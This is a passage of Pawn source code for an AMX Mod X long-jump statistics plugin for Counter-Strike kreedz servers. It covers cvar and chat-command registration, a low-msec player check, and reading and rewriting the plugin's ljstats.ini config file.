kz_ljstats_blue = register_cvar("kz_ljstats_blue", "11"); // blue color of /ljstats
kz_ljs_beam = register_cvar("kz_ljs_beam", "2"); // 0=beam off, 1=normal beam, 2=uber beam
kz_legal_settings = register_cvar("kz_legal_settings", "1"); // enables protection 4 legal kreedz settings
kz_ljs_fastserver = register_cvar("kz_ljs_fastserver", "1"); // Is your server fast? (0=slow, 1=normal, 2=good)
//kz_ljs_autoserver = register_cvar("kz_ljs_autoserver", "1"); // Authomaticaly detect what cvar of kz_ljs_fastserver should be?
kz_ljs_speedtype = register_cvar("kz_ljs_speedtype", "0"); // Speedometer type
kz_ljs_connectenabler = register_cvar("kz_ljs_connectenabler", "ab"); // What is enabled at connect (0=nothing, a=colorchat, b=ljstats, c=speed)
kz_ljs_viscmds = register_cvar("kz_ljs_viscmds", "1"); // Do you want say commands to be apeard on the chat?
kz_ljs_tops = register_cvar("kz_ljs_tops", "3"); // LongJump top (0=Nothing, 1=ColorChat, 2=top, 3=top+ColorChat)
kz_ljs_topsave = register_cvar("kz_ljs_topsave", "1"); // Do you want to save ljtop after mapchange?
kz_ljs_rank_by = register_cvar("kz_ljs_rank_by", "2"); // How ranking will work? 0=name, 1=steam, 2=ip
kz_ljs_maptop = register_cvar("kz_ljs_maptop", "1"); // Enable map top
edgefriction = get_cvar_pointer("edgefriction");
mp_footsteps = get_cvar_pointer("mp_footsteps");
sv_cheats = get_cvar_pointer("sv_cheats");
sv_gravity = get_cvar_pointer("sv_gravity");
sv_maxspeed = get_cvar_pointer("sv_maxspeed");
sv_stepsize = get_cvar_pointer("sv_stepsize");
sv_maxvelocity = get_cvar_pointer("sv_maxvelocity");
// sv_lan = get_cvar_pointer("sv_lan");
/*
server_settings[33][0] = "1";
server_settings[33][1] = "260.0";
server_settings[33][2] = "250.0";
server_settings[33][3] = "245.0";
server_settings[33][4] = "240.0";
server_settings[33][5] = "215.0";
server_settings[33][6] = "5.0";
server_settings[33][7] = "1";
server_settings[33][8] = "3";
server_settings[33][9] = "1";
server_settings[33][10] = "0";
server_settings[33][11] = "1";
server_settings[33][12] = "2";
server_settings[33][13] = "4";
server_settings[33][14] = "1";
server_settings[33][15] = "2";
server_settings[33][16] = "4";
server_settings[33][17] = "0";
server_settings[33][18] = "255";
server_settings[33][19] = "159";
server_settings[33][20] = "2";
server_settings[33][21] = "1";
server_settings[33][22] = "2";
server_settings[33][23] = "1";
server_settings[33][24] = "abc";
server_settings[33][25] = "1";
server_settings[33][26] = "0";
*/
configurate_plugin();
register_menucmd(register_menuid("LongJump Stats Menu"), 1023, "LjsMenu_Select");
register_menucmd(register_menuid("Top 10 Menu"), 1023, "MainTopMenu_Select");
register_menucmd(register_menuid("Full top stats"), 1023, "FullTopMenu_Select");
register_menucmd(register_menuid("Show best longjumper"), 1023, "LeetJumpMenu_Select");
tops_save = true;
new LJS_ADMIN = ADMIN_MAP;
if( get_pcvar_num(kz_ljs_topsave) )
LJS_ADMIN = ADMIN_RCON;
else
tops_save = false;
register_concmd("amx_resetljrec", "topreset", LJS_ADMIN, "- resets ljrec and ljtops");
register_concmd("amx_resetljtops", "topreset", LJS_ADMIN, "- resets ljrec and ljtops");
register_clcmd("say /colorchat", "cmdColorChat", ADMIN_ALL, "- enables/disables colorchat");
register_clcmd("say /ljstats", "cmdLjStats", ADMIN_ALL, "- enables/disables longjump stats");
register_clcmd("say /ljsversion", "cmdVersion", ADMIN_ALL, "- prints plugin version");
register_clcmd("say /speed", "cmdSpeed", ADMIN_ALL, "- enabled/disables visible speed");
register_clcmd("say /strafestat", "cmdStrafeStat", ADMIN_ALL, "- enabled/disables strafe statistics");
register_clcmd("say /ljlinear", "cmdljhelp", ADMIN_ALL, "- enabled/disables");
register_clcmd("say /ljbeam", "cmdljbeam", ADMIN_ALL, "- enabled/disables");
register_clcmd("say /ljsmenu", "cmdLjsMenu", ADMIN_ALL, "- display ljs menu");
register_clcmd("say /cj15", "cmdTopMenu", -1, "- display tops menu");
register_clcmd("say /cjtop15", "cmdTopMenu", -1, "- display tops menu");
register_clcmd("say /cj10", "cmdTopMenu", -1, "- display tops menu");
register_clcmd("say /cjtop10", "cmdTopMenu", -1, "- display tops menu");
register_clcmd("say /cjtop", "cmdTopMenu", -1, "- display tops menu");
register_clcmd("say /bj15", "cmdTopMenu", -1, "- display tops menu");
register_clcmd("say /bjtop15", "cmdTopMenu", -1, "- display tops menu");
register_clcmd("say /bj10", "cmdTopMenu", -1, "- display tops menu");
register_clcmd("say /bjtop10", "cmdTopMenu", -1, "- display tops menu");
register_clcmd("say /bjtop", "cmdTopMenu", -1, "- display tops menu");
register_clcmd("say /bhop15", "cmdTopMenu", -1, "- display tops menu");
register_clcmd("say /bhop10", "cmdTopMenu", -1, "- display tops menu");
register_clcmd("say /bhop", "cmdTopMenu", -1, "- display tops menu");
register_clcmd("say /lj15", "cmdTopMenu", -1, "- display tops menu");
register_clcmd("say /ljtop15", "cmdTopMenu", -1, "- display tops menu");
register_clcmd("say /lj10", "cmdTopMenu", ADMIN_ALL, "- display tops menu");
register_clcmd("say /ljtop10", "cmdTopMenu", -1, "- display tops menu");
register_clcmd("say /ljtop", "cmdTopMenu", -1, "- display tops menu");
register_clcmd("say /ljrec", "show_leet_ljumper", ADMIN_ALL, "- display records menu");
register_clcmd("say /cjrec", "show_leet_ljumper", -1, "- display records menu");
register_clcmd("say /bjrec", "show_leet_ljumper", -1, "- display records menu");
register_clcmd("say /sbjrec", "show_leet_ljumper", -1, "- display records menu");
register_clcmd("say /wjrec", "show_leet_ljumper", -1, "- display records menu");
register_clcmd("say /tele", "gocheckBoth", -1, " - teleported");
register_clcmd("say /tp", "gocheckBoth", -1, " - teleported");
register_clcmd("say /gocheck", "gocheckBoth", -1, " - teleported");
register_clcmd("say /gc", "gocheckBoth", -1, " - teleported");
register_clcmd("say .tele", "gocheckBoth", -1, " - teleported");
register_clcmd("say .tp", "gocheckBoth", -1, " - teleported");
register_clcmd("say .gocheck", "gocheckBoth", -1, " - teleported");
register_clcmd("say .gc", "gocheckBoth", -1, " - teleported");
register_clcmd("/tele", "gocheckBoth", -1, " - teleported");
register_clcmd("/tp", "gocheckBoth", -1, " - teleported");
register_clcmd("/gocheck", "gocheckBoth", -1, " - teleported");
register_clcmd("/gc", "gocheckBoth", -1, " - teleported");
register_clcmd(".tele", "gocheckBoth", -1, " - teleported");
register_clcmd(".tp", "gocheckBoth", -1, " - teleported");
register_clcmd(".gocheck", "gocheckBoth", -1, " - teleported");
register_clcmd(".gc", "gocheckBoth", -1, " - teleported");
register_clcmd("say /stuck", "gocheckBoth", -1, " - teleported");
register_clcmd("say /unstuck", "gocheckBoth", -1, " - teleported");
register_clcmd("say .stuck", "gocheckBoth", -1, " - teleported");
register_clcmd("say .unstuck", "gocheckBoth", -1, " - teleported");
register_clcmd("/stuck", "gocheckBoth", -1, " - teleported");
register_clcmd("/unstuck", "gocheckBoth", -1, " - teleported");
register_clcmd(".stuck", "gocheckBoth", -1, " - teleported");
register_clcmd(".unstuck", "gocheckBoth", -1, " - teleported");
register_clcmd("say /start", "gocheckBoth", -1, " - reseted");
register_clcmd("say /reset", "gocheckBoth", -1, " - reseted");
register_clcmd("say /restart", "gocheckBoth", -1, " - reseted");
register_clcmd("say /spawn", "gocheckBoth", -1, " - reseted");
register_clcmd("say .start", "gocheckBoth", -1, " - reseted");
register_clcmd("say .reset", "gocheckBoth", -1, " - reseted");
register_clcmd("say .restart", "gocheckBoth", -1, " - reseted");
register_clcmd("say .spawn", "gocheckBoth", -1, " - reseted");
register_clcmd("/start", "gocheckBoth", -1, " - reseted");
register_clcmd("/reset", "gocheckBoth", -1, " - reseted");
register_clcmd("/restart", "gocheckBoth", -1, " - reseted");
register_clcmd("/spawn", "gocheckBoth", -1, " - reseted");
register_clcmd(".start", "gocheckBoth", -1, " - reseted");
register_clcmd(".reset", "gocheckBoth", -1, " - reseted");
register_clcmd(".restart", "gocheckBoth", -1, " - reseted");
register_clcmd(".spawn", "gocheckBoth", -1, " - reseted");
register_clcmd("+hook", "gocheckBoth", -1, " - used hook");
register_clcmd("-hook", "gocheckBoth", -1, " - used hook");
new dataDir[64];
get_datadir(dataDir, 63);
format(ljsDir, 63, "%s/ljs", dataDir);
if( !dir_exists(ljsDir) )
mkdir(ljsDir);
get_plugin(plugin_id, plugin_file_name, 63, "", 0, "", 0, "", 0, "", 0);
}
public fwdCmdStart(plr, uc_handle, seed)
{
if ( is_user_alive( plr ) )
{
static g_iPlayerFps;
g_iPlayerFps = get_uc(uc_handle, UC_Msec);
if ( (g_iPlayerFps > 0 && g_iPlayerFps < 10))
{
gocheckBoth(plr);
}
}
}
public configurate_plugin()
{
/* if( !get_ljsconfig(0) )
{
for( new i; i < 27; i++ )
format(server_settings[0][i], 15, "%s", server_settings[33][i]);
}
setconfig_now(0);
*/
}
public setconfig_now(player)
{
/*
set_cvar_string("kz_ljs_enabled", server_settings[player][0]);
set_cvar_string("kz_max_lj", server_settings[player][1]);
set_cvar_string("kz_leet_lj", server_settings[player][2]);
set_cvar_string("kz_pro_lj", server_settings[player][3]);
set_cvar_string("kz_good_lj", server_settings[player][4]);
set_cvar_string("kz_min_lj", server_settings[player][5]);
set_cvar_string("kz_cj_dif", server_settings[player][6]);
set_cvar_string("kz_lj_sounds", server_settings[player][7]);
set_cvar_string("kz_lj_top", server_settings[player][8]);
set_cvar_string("kz_ljs_topsave", server_settings[player][9]);
set_cvar_string("kz_ljs_rank_by", server_settings[player][10]);
set_cvar_string("kz_leet_lj_clr", server_settings[player][11]);
set_cvar_string("kz_pro_lj_clr", server_settings[player][12]);
set_cvar_string("kz_good_lj_clr", server_settings[player][13]);
set_cvar_string("kz_leet_cj_clr", server_settings[player][14]);
set_cvar_string("kz_pro_cj_clr", server_settings[player][15]);
set_cvar_string("kz_good_cj_clr", server_settings[player][16]);
set_cvar_string("kz_ljstats_red", server_settings[player][17]);
set_cvar_string("kz_ljstats_green", server_settings[player][18]);
set_cvar_string("kz_ljstats_blue", server_settings[player][19]);
set_cvar_string("kz_ljs_beam", server_settings[player][20]);
set_cvar_string("kz_legal_settings", server_settings[player][21]);
if( str_to_num(server_settings[player][22]) == 2 && str_to_num(server_settings[player][23]) )
{
if( !is_dedicated_server() && get_pcvar_num(sv_lan) != 0 )
set_cvar_string("kz_ljs_fastserver", "2");
else
set_cvar_string("kz_ljs_fastserver", "1");
}
else
set_cvar_string("kz_ljs_fastserver", server_settings[player][22]);
set_pcvar_num(kz_ljs_autoserver, str_to_num(server_settings[player][23]));
set_cvar_string("kz_ljs_connectenabler", server_settings[player][24]);
set_cvar_string("kz_ljs_viscmds", server_settings[player][25]);
set_cvar_string("kz_ljs_speedtype", server_settings[player][26]);
*/
}
stock get_ljsconfig(player)
{
static configsDir[64], filename[128];
get_configsdir(configsDir, 63);
format(filename, 127, "%s/ljstats.ini", configsDir);
if( !dir_exists(configsDir) )
mkdir(configsDir);
if( !file_exists(filename) )
{
log_amx("LjS: Error: Configuration file <^"%s^"> not found!", filename);
log_amx("LjS: Creating file...");
write_file(filename, "; .-==========================================-.");
write_file(filename, "; |~~ Long Jump Stats - eXtreme Modification ~~|");
write_file(filename, "; .-==========================================-.");
write_file(filename, "");
write_file(filename, "");
write_file(filename, "; Enabled/Disables the plugin");
write_file(filename, "; 0 = disabled");
write_file(filename, "; 1 = enabled");
write_file(filename, "; Cvar kz_ljs_enabled (default ^"1^")");
write_file(filename, "1");
write_file(filename, "");
write_file(filename, "; Maximum possible lj (not 4 cj)");
write_file(filename, "; Cvar kz_max_lj (default ^"260.0^")");
write_file(filename, "260.0");
write_file(filename, "");
write_file(filename, "; 1337 lj (prints to all players)");
write_file(filename, "; To disable, set it to -1");
write_file(filename, "; Cvar kz_leet_lj (default ^"250.0^")");
write_file(filename, "250.0");
write_file(filename, "");
write_file(filename, "; Professional lj (prints to all players)");
write_file(filename, "; To disable, set it to -1");
write_file(filename, "; Cvar kz_pro_lj (default ^"245.0^")");
write_file(filename, "245.0");
write_file(filename, "");
write_file(filename, "; Good lj (prints to all players)");
write_file(filename, "; To disable, set it to -1");
write_file(filename, "; Cvar kz_good_lj (default ^"240.0^")");
write_file(filename, "240.0");
write_file(filename, "");
write_file(filename, "; Minimal lj distance");
write_file(filename, "; Cvar kz_min_lj (default ^"215.0^")");
write_file(filename, "215.0");
write_file(filename, "");
write_file(filename, "; Difrence between longjump and countjump for good/pro/leet/max jump");
write_file(filename, "; Cvar kz_cj_dif (default ^"10.0^")");
write_file(filename, "10.0");
write_file(filename, "");
write_file(filename, "; Enables lj sounds");
write_file(filename, "; 0 = disabled");
write_file(filename, "; 1 = ultimate sounds");
write_file(filename, "; 2 = distance in voice");
write_file(filename, "; Cvar kz_lj_sounds (default ^"1^")");
write_file(filename, "1");
write_file(filename, "");
write_file(filename, "; How dose plugin works");
write_file(filename, "; 0 = no top and no colorchat");
write_file(filename, "; 1 = prints good/pro/leet jumps");
write_file(filename, "; 2 = enables top10");
write_file(filename, "; 3 = prints good/pro/leet jumps and enables top10");
write_file(filename, "; Cvar kz_lj_top (default ^"3^")");
write_file(filename, "3");
write_file(filename, "");
write_file(filename, "; Do you want to save ljtop after mapchange?");
write_file(filename, "; Cvar kz_ljs_topsave (default ^"1^")");
write_file(filename, "1");
write_file(filename, "");
write_file(filename, "; How ranking will work?");
write_file(filename, "; 0 = names");
write_file(filename, "; 1 = steam ids");
write_file(filename, "; 2 = ips");
write_file(filename, "; Cvar kz_ljs_rank_by (default ^"0^")");
write_file(filename, "0");
write_file(filename, "");
write_file(filename, "; Kz jumping color chat:");
write_file(filename, "; 0 = normal");
write_file(filename, "; 1 = red");
write_file(filename, "; 2 = green");
write_file(filename, "; 3 = blue");
write_file(filename, "; 4 = silver");
write_file(filename, "; 5 = team color");
write_file(filename, "");
write_file(filename, "; Cvar kz_leet_lj_clr (default ^"1^")");
write_file(filename, "1");
write_file(filename, "; Cvar kz_pro_lj_clr (default ^"2^")");
write_file(filename, "2");
write_file(filename, "; Cvar kz_good_lj_clr (default ^"4^")");
write_file(filename, "4");
write_file(filename, "");
write_file(filename, "; Cvar kz_leet_cj_clr (default ^"1^")");
write_file(filename, "1");
write_file(filename, "; Cvar kz_pro_cj_clr (default ^"2^")");
write_file(filename, "2");
write_file(filename, "; Cvar kz_good_cj_clr (default ^"4^")");
write_file(filename, "4");
write_file(filename, "");
write_file(filename, "; Colors of /ljstats (rrr ggg bbb)");
write_file(filename, "; Cvar kz_ljstats_red (default ^"0^")");
write_file(filename, "0");
write_file(filename, "; Cvar kz_ljstats_green (default ^"255^")");
write_file(filename, "255");
write_file(filename, "; Cvar kz_ljstats_blue (^"159^")");
write_file(filename, "159");
write_file(filename, "");
write_file(filename, "; LongJump Stats Laser Beam");
write_file(filename, "; 0 = off");
write_file(filename, "; 1 = normal");
write_file(filename, "; 2 = uber beam");
write_file(filename, "; Cvar kz_ljs_beam (default ^"2^")");
write_file(filename, "2");
write_file(filename, "");
write_file(filename, "; Enables protection 4 legal kreedz settings");
write_file(filename, "; Cvar kz_legal_settings (default ^"1^")");
write_file(filename, "1");
write_file(filename, "");
write_file(filename, "; Is your server fast?");
write_file(filename, "; 0 = slow");
write_file(filename, "; 1 = normal");
write_file(filename, "; 2 = realy good ( >10mb/s or localhost/lan server )");
write_file(filename, "; Cvar kz_ljs_fastserver (default ^"2^")");
write_file(filename, "2");
write_file(filename, "");
write_file(filename, "; Enables auto-setting 4 kz_ljs_fastserver cvar if it is 2");
write_file(filename, "; Cvar kz_ljs_autoserver (default ^"1^")");
write_file(filename, "1");
write_file(filename, "");
write_file(filename, "; What is enabled on client when he connects to a server?");
write_file(filename, "; 0 = nothing");
write_file(filename, "; a = colorchat");
write_file(filename, "; b = ljstats");
write_file(filename, "; c = speed");
write_file(filename, "; Cvar kz_ljs_connectenabler (default ^"abc^")");
write_file(filename, "abc");
write_file(filename, "");
write_file(filename, "; Do you want cmds like /speed to be visible in the chat?");
write_file(filename, "; Cvar kz_ljs_viscmds (default ^"1^")");
write_file(filename, "1");
write_file(filename, "");
write_file(filename, "; Speedometer type");
write_file(filename, "; 0 = show real speed and horizontal speed");
write_file(filename, "; 1 = show real speed");
write_file(filename, "; 2 = show horizontal speed");
write_file(filename, "; Cvar kz_ljs_speedtype (default ^"0^")");
write_file(filename, "0");
if( file_exists(filename) )
{
log_amx("LjS: File <^"%s^"> successfully created.", filename);
log_amx("LjS: All settings are setted by default.");
}
else
{
log_amx("LjS: Fatal-Error: Creation of <^"%s^"> file failed!", filename);
log_amx("LjS: Disabeling plugin...");
set_cvar_string("kz_ljs_enabled", "0");
if( get_cvar_num("kz_ljs_enabled") )
{
if( !plugin_file_name[0] )
return 0;
log_amx("LjS: Fatal-Error: Omg, plugin cannot be disabled by cvar... Check your amxx!!!");
log_amx("LjS: Disabeling plugin by turning off the code.");
pause("ac", plugin_file_name);
}
return 0;
}
}
new ljs_cvar_num;
for( ljs_cvar_num = INFO_ZERO; ljs_cvar_num < 27; ljs_cvar_num++ )
server_settings[player][ljs_cvar_num] = "";
ljs_cvar_num = 0;
new i, line, text[16], txtsize;
for( i = INFO_ZERO; i < 255; i++ )
{
if( (line=read_file(filename, line, text, 15, txtsize)) != 0 )
{
if( text[0] == ';' || (text[0] == '/' && text[1] == '/') || !text[0] || text[0] == ' ' )
continue;
else
{
format(server_settings[player][ljs_cvar_num], 15, "%s", text);
ljs_cvar_num += 1;
if( ljs_cvar_num == 27 )
break;
}
}
else
break;
}
delete_file(filename);
write_file(filename, "; .-==========================================-.");
write_file(filename, "; |~~ Long Jump Stats - eXtreme Modification ~~|");
write_file(filename, "; .-==========================================-.");
write_file(filename, "");
write_file(filename, "");
write_file(filename, "; Enabled/Disables the plugin");
write_file(filename, "; 0 = disabled");
write_file(filename, "; 1 = enabled");
write_file(filename, "; Cvar kz_ljs_enabled (default ^"1^")");
if( server_settings[player][0][0] )
write_file(filename, server_settings[player][0]);
else
{
fix_config(1, player);
return 1;
}
write_file(filename, "");
write_file(filename, "; Maximum possible lj (not 4 cj)");
write_file(filename, "; Cvar kz_max_lj (default ^"260.0^")");
if( server_settings[player][1][0] )
write_file(filename, server_settings[player][1]);
else
{
fix_config(2, player);
return 1;
}
write_file(filename, "");
write_file(filename, "; 1337 lj (prints to all players)");
write_file(filename, "; To disable, set it to -1");
write_file(filename, "; Cvar kz_leet_lj (default ^"250.0^")");
if( server_settings[player][2][0] )
write_file(filename, server_settings[player][2]);
else
{
fix_config(3, player);
return 1;
}
write_file(filename, "");
write_file(filename, "; Professional lj (prints to all players)");
write_file(filename, "; To disable, set it to -1");
write_file(filename, "; Cvar kz_pro_lj (default ^"245.0^")");
if( server_settings[player][3][0] )
write_file(filename, server_settings[player][3]);
else
{
fix_config(4, player);
return 1;
}
write_file(filename, "");
write_file(filename, "; Good lj (prints to all players)");
write_file(filename, "; To disable, set it to -1");
write_file(filename, "; Cvar kz_good_lj (default ^"240.0^")");
if( server_settings[player][4][0] )
write_file(filename, server_settings[player][4]);
else
{
fix_config(5, player);
return 1;
}
write_file(filename, "");
write_file(filename, "; Minimal lj distance");
write_file(filename, "; Cvar kz_min_lj (default ^"215.0^")");
if( server_settings[player][5][0] )
write_file(filename, server_settings[player][5]);
else
{
fix_config(6, player);
return 1;
}
write_file(filename, "");
write_file(filename, "; Difrence between longjump and countjump for good/pro/leet/max jump");
write_file(filename, "; Cvar kz_cj_dif (default ^"10.0^")");
if( server_settings[player][6][0] )
write_file(filename, server_settings[player][6]);
else
{
fix_config(7, player);
return 1;
}
write_file(filename, "");
write_file(filename, "; Enables lj sounds");
write_file(filename, "; 0 = disabled");
write_file(filename, "; 1 = ultimate sounds");
write_file(filename, "; 2 = distance in voice");
write_file(filename, "; Cvar kz_lj_sounds (default ^"1^")");
if( server_settings[player][7][0] )
write_file(filename, server_settings[player][7]);
else
{
fix_config(8, player);
return 1;
}
write_file(filename, "");
write_file(filename, "; How dose plugin works");
write_file(filename, "; 0 = no top and no colorchat");
write_file(filename, "; 1 = prints good/pro/leet jumps");
write_file(filename, "; 2 = enables top10");
write_file(filename, "; 3 = prints good/pro/leet jumps and enables top10");
write_file(filename, "; Cvar kz_lj_top (default ^"3^")");
if( server_settings[player][8][0] )
write_file(filename, server_settings[player][8]);
else
{
fix_config(9, player);
return 1;
}
write_file(filename, "");
write_file(filename, "; Do you want to save ljtop after mapchange?");
write_file(filename, "; Cvar kz_ljs_topsave (default ^"1^")");
if( server_settings[player][9][0] )
write_file(filename, server_settings[player][9]);
else
{
fix_config(10, player);
return 1;
}
write_file(filename, "");
write_file(filename, "; How ranking will work?");
write_file(filename, "; 0 = names");
write_file(filename, "; 1 = steam ids");
write_file(filename, "; 2 = ips");
write_file(filename, "; Cvar kz_ljs_rank_by (default ^"0^")");
if( server_settings[player][10][0] )
write_file(filename, server_settings[player][10]);
else
{
fix_config(11, player);
return 1;
}
write_file(filename, "");
write_file(filename, "; Kz jumping color chat:");
write_file(filename, "; 0 = normal");
write_file(filename, "; 1 = red");
write_file(filename, "; 2 = green");
write_file(filename, "; 3 = blue");
write_file(filename, "; 4 = silver");
write_file(filename, "; 5 = team color");
write_file(filename, "");
write_file(filename, "; Cvar kz_leet_lj_clr (default ^"1^")");
if( server_settings[player][11][0] )
write_file(filename, server_settings[player][11]);
else
{
fix_config(12, player);
return 1;
}
write_file(filename, "; Cvar kz_pro_lj_clr (default ^"2^")");
if( server_settings[player][12][0] )
write_file(filename, server_settings[player][12]);
else
{
fix_config(13, player);
return 1;
}
write_file(filename, "; Cvar kz_good_lj_clr (default ^"4^")");
if( server_settings[player][13][0] )
write_file(filename, server_settings[player][13]);
else
{
fix_config(14, player);
return 1;
}
write_file(filename, "");
write_file(filename, "; Cvar kz_leet_cj_clr (default ^"1^")");
if( server_settings[player][14][0] )
write_file(filename, server_settings[player][14]);
else
{
fix_config(15, player);
return 1;
}
write_file(filename, "; Cvar kz_pro_cj_clr (default ^"2^")");
if( server_settings[player][15][0] )
write_file(filename, server_settings[player][15]);
else
{
fix_config(16, player);
return 1;
}
write_file(filename, "; Cvar kz_good_cj_clr (default ^"4^")");
if( server_settings[player][16][0] )
write_file(filename, server_settings[player][16]);
else
{
fix_config(17, player);
return 1;
}
write_file(filename, "");
write_file(filename, "; Colors of /ljstats (rrr ggg bbb)");
write_file(filename, "; Cvar kz_ljstats_red (default ^"0^")");
if( server_settings[player][17][0] )
write_file(filename, server_settings[player][17]);
else
{
fix_config(18, player);
return 1;
}
write_file(filename, "; Cvar kz_ljstats_green (default ^"255^")");
if( server_settings[player][18][0] )
write_file(filename, server_settings[player][18]);
else
{
fix_config(19, player);
return 1;
}
write_file(filename, "; Cvar kz_ljstats_blue (^"159^")");
if( server_settings[player][19][0] )
write_file(filename, server_settings[player][19]);
else
{
fix_config(20, player);
return 1;
}
write_file(filename, "");
write_file(filename, "; LongJump Stats Laser Beam");
write_file(filename, "; 0 = off");
write_file(filename, "; 1 = normal");
write_file(filename, "; 2 = uber beam");
write_file(filename, "; Cvar kz_ljs_beam (default ^"2^")");
if( server_settings[player][20][0] )
write_file(filename, server_settings[player][20]);
else
{
fix_config(21, player);
return 1;
}
write_file(filename, "");
write_file(filename, "; Enables protection 4 legal kreedz settings");
write_file(filename, "; Cvar kz_legal_settings (default ^"1^")");
if( server_settings[player][21][0] )
write_file(filename, server_settings[player][21]);
else
{
fix_config(22, player);
return 1;
}
write_file(filename, "");
write_file(filename, "; Is your server fast?");
write_file(filename, "; 0 = slow");
write_file(filename, "; 1 = normal");
write_file(filename, "; 2 = realy good ( >10mb/s or localhost/lan server )");
write_file(filename, "; Cvar kz_ljs_fastserver (default ^"2^")");
if( server_settings[player][22][0] )
write_file(filename, server_settings[player][22]);
else
{
fix_config(23, player);
return 1;
}
write_file(filename, "");
write_file(filename, "; Enables auto-setting 4 kz_ljs_fastserver cvar if it is 2");
write_file(filename, "; Cvar kz_ljs_autoserver (default ^"1^")");
if( server_settings[player][23][0] )
write_file(filename, server_settings[player][23]);
else
{
fix_config(24, player);
return 1;
}
write_file(filename, "");
write_file(filename, "; What is enabled on client when he connects to a server?");
write_file(filename, "; 0 = nothing");
write_file(filename, "; a = colorchat");
write_file(filename, "; b = ljstats");
write_file(filename, "; c = speed");
write_file(filename, "; Cvar kz_ljs_connectenabler (default ^"abc^")");
if( server_settings[player][24][0] )
write_file(filename, server_settings[player][24]);
else
{
fix_config(25, player);
return 1;
}
write_file(filename, "");
write_file(filename, "; Do you want cmds like /speed to be visible in the chat?");
write_file(filename, "; Cvar kz_ljs_viscmds (default ^"1^")");
if( server_settings[player][25][0] )
write_file(filename, server_settings[player][25][0]);
else
{
fix_config(26, player);
return 1;
}
write_file(filename, "");
write_file(filename, "; Speedometer type");
write_file(filename, "; 0 = show real speed and horizontal speed");
write_file(filename, "; 1 = show real speed");
write_file(filename, "; 2 = show horizontal speed");
write_file(filename, "; Cvar kz_ljs_speedtype (default ^"0^")");
if( server_settings[player][26][0] )
write_file(filename, server_settings[player][26]);
else
{
fix_config(27, player);
return 1;
}
return 1;
}
public fix_config(fix_since, player)
{
static configsDir[64], filename[128];
get_configsdir(configsDir, 63);
format(filename, 127, "%s/ljstats.ini", configsDir);
if( !(fix_since < 2) )
{
log_amx("LjS: Error: Settings that gows before #%d in <^"%s^"> cold be incurrent!", (fix_since+1), filename);
log_amx("LjS: All other settings are setted by default. Please check the config file!");
}
else
{
log_amx("LjS: Error: Configuration file <^"%s^"> is not currect!", filename);
log_amx("LjS: All settings are setted by default.");
server_settings[player][0] = "1";
write_file(filename, "1");
write_file(filename, "");
write_file(filename, "; Maximum possible lj (not 4 cj)");
write_file(filename, "; Cvar kz_max_lj (default ^"260.0^")");
}
if( fix_since < 3 )
{
server_settings[player][1] = "260.0";
write_file(filename, "260.0");
write_file(filename, "");
write_file(filename, "; 1337 lj (prints to all players)");
write_file(filename, "; To disable, set it to -1");
write_file(filename, "; Cvar kz_leet_lj (default ^"250.0^")");
}
if( fix_since < 4 )
{
server_settings[player][2] = "250.0";
write_file(filename, "250.0");
write_file(filename, "");
write_file(filename, "; Professional lj (prints to all players)");
write_file(filename, "; To disable, set it to -1");
write_file(filename, "; Cvar kz_pro_lj (default ^"245.0^")");
}
if( fix_since < 5 )
{
server_settings[player][3] = "245.0";
write_file(filename, "245.0");
write_file(filename, "");
write_file(filename, "; Good lj (prints to all players)");
write_file(filename, "; To disable, set it to -1");
write_file(filename, "; Cvar kz_good_lj (default ^"240.0^")");
}
if( fix_since < 6 )
{
server_settings[player][4] = "240.0";
write_file(filename, "240.0");
write_file(filename, "");
write_file(filename, "; Minimal lj distance");
write_file(filename, "; Cvar kz_min_lj (default ^"215.0^")");
}
if( fix_since < 7 )
{
server_settings[player][5] = "215.0";
write_file(filename, "215.0");
write_file(filename, "");
write_file(filename, "; Difrence between longjump and countjump for good/pro/leet/max jump");
write_file(filename, "; Cvar kz_cj_dif (default ^"10.0^")");
}
if( fix_since < 8 )
{
server_settings[player][6] = "10.0";
write_file(filename, "10.0");
write_file(filename, "");
write_file(filename, "; Enables lj sounds");
write_file(filename, "; 0 = disabled");
write_file(filename, "; 1 = ultimate sounds");
write_file(filename, "; 2 = distance in voice");
write_file(filename, "; Cvar kz_lj_sounds (default ^"1^")");
}
if( fix_since < 9 )
{
server_settings[player][7] = "1";
write_file(filename, "1");
write_file(filename, "");
write_file(filename, "; How dose plugin works");
write_file(filename, "; 0 = no top and no colorchat");
write_file(filename, "; 1 = prints good/pro/leet jumps");
write_file(filename, "; 2 = enables top10");
write_file(filename, "; 3 = prints good/pro/leet jumps and enables top10");
write_file(filename, "; Cvar kz_lj_top (default ^"3^")");
}
if( fix_since < 10 )
{
server_settings[player][8] = "3";
write_file(filename, "3");
write_file(filename, "");
write_file(filename, "; Do you want to save ljtop after mapchange?");
write_file(filename, "; Cvar kz_ljs_topsave (default ^"1^")");
}
if( fix_since < 11 )
{
server_settings[player][9] = "1";
write_file(filename, "1");
write_file(filename, "");
write_file(filename, "; How ranking will work?");
write_file(filename, "; 0 = names");
write_file(filename, "; 1 = steam ids");
write_file(filename, "; 2 = ips");
write_file(filename, "; Cvar kz_ljs_rank_by (default ^"0^")");
}
if( fix_since < 12 )
{
server_settings[player][10] = "0";
write_file(filename, "0");
write_file(filename, "");
write_file(filename, "; Kz jumping color chat:");
write_file(filename, "; 0 = normal");
write_file(filename, "; 1 = red");
write_file(filename, "; 2 = green");
write_file(filename, "; 3 = blue");
write_file(filename, "; 4 = silver");
write_file(filename, "; 5 = team color");
write_file(filename, "");
write_file(filename, "; Cvar kz_leet_lj_clr (default ^"1^")");
}
if( fix_since < 13 )
{
server_settings[player][11] = "1";
write_file(filename, "1");
write_file(filename, "; Cvar kz_pro_lj_clr (default ^"2^")");
}
if( fix_since < 14 )
{
server_settings[player][12] = "2";
write_file(filename, "2");
write_file(filename, "; Cvar kz_good_lj_clr (default ^"4^")");
}
if( fix_since < 15 )
{
server_settings[player][13] = "4";
write_file(filename, "4");
write_file(filename, "");
write_file(filename, "; Cvar kz_leet_cj_clr (default ^"1^")");
}
if( fix_since < 16 )
{
server_settings[player][14] = "1";
write_file(filename, "1");
write_file(filename, "; Cvar kz_pro_cj_clr (default ^"2^")");
}
if( fix_since < 17 )
{
server_settings[player][15] = "2";
write_file(filename, "2");
write_file(filename, "; Cvar kz_good_cj_clr (default ^"4^")");
}
if( fix_since < 18 )
{
server_settings[player][16] = "4";
write_file(filename, "4");
write_file(filename, "");
write_file(filename, "; Colors of /ljstats (rrr ggg bbb)");
write_file(filename, "; Cvar kz_ljstats_red (default ^"0^")");
}
if( fix_since < 19 )
{
server_settings[player][17] = "0";
write_file(filename, "0");
